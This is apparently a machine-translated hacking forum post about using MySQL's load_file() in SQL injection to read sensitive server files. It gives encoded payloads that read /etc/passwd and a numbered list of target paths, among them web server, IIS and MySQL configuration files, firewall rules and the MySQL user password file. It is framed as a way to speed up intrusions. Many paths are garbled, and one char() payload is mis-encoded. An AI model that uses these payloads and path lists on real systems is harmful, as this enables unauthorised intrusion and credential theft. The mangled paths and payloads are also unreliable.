View sensitive files during load_file () Intrusion

The load_file () function used for mysql data injection is used to view the relevant paths of its files. It can be used properly to speed up your intrusion. the following are collected during intrusion. if you feel that there is no path above. continue to reply. share. BY: lone fox prodigal son

1. replace (load_file (0 × 2F6574632F706173737764), 0 × 3c, 0 × 20)

2. replace (load_file (char (47,101,116, 115,115,119,100,), char (60), char (32 ))
The above two items show the full code in a PHP file. Sometimes some characters are not replaced. For example, "<" is replaced with "space" and the webpage is returned. The Code cannot be viewed.

3. load_file (char (47) can be used to list the root directories of FreeBSD and Sunos systems.

4. view the configuration file of the linux APACHE Virtual Host in/etc tpd/conf tpd. conf or/usr/local/apche/conf tpd. conf.

5. Run c: Program FilesApache GroupApacheconf httpd. conf or C: apacheconf httpd. conf to view the apache file in WINDOWS.

6. Run c:/Resin-3.0.14/conf/resin. conf to view the resin file configuration of the website developed by jsp.

7. c:/Resin/conf/resin. conf/usr/local/resin/conf/resin. conf

8. d: APACHEApache2confhttpd. conf

9. C: Program Filesmysqlmy. ini

10../themes/darkblue_orange/layout. inc. php phpmyadmin burst path

11. c: windowssystem32inetsrvMetaBase. xml: view the virtual host configuration file of IIS

12. view the resin configuration file 3.0.22 in/usr/local/resin-3.0.22/conf/RESIN. conf.

13./usr/local/resin-pro-3.0.22/conf/resin. conf is the same as above.

14./usr/local/app/apache2/conf/extra tpd-vhosts.conf apashe vm View

15. View firewall policies in/etc/sysconfig/iptables.

16. Equivalent settings of usr/local/app/php5 B/php. ini PHP

17./etc/my. cnf MYSQL configuration file

18. System Version of/etc/redhat-release Red Hat

19. C: mysqldatamysqluser. MYD has the user password in MYSQL.

20,/etc/sysconfig/network-scripts/ifcfg-eth0 to view the IP.

21./usr/local/app/php5 B/php. ini // PHP settings

22./usr/local/app/apache2/conf/extra tpd-vhosts.conf // virtual website settings

23. c: Program FilesRhinoSoft. comServ-UServUDaemon.ini

24. c: windowsmy. ini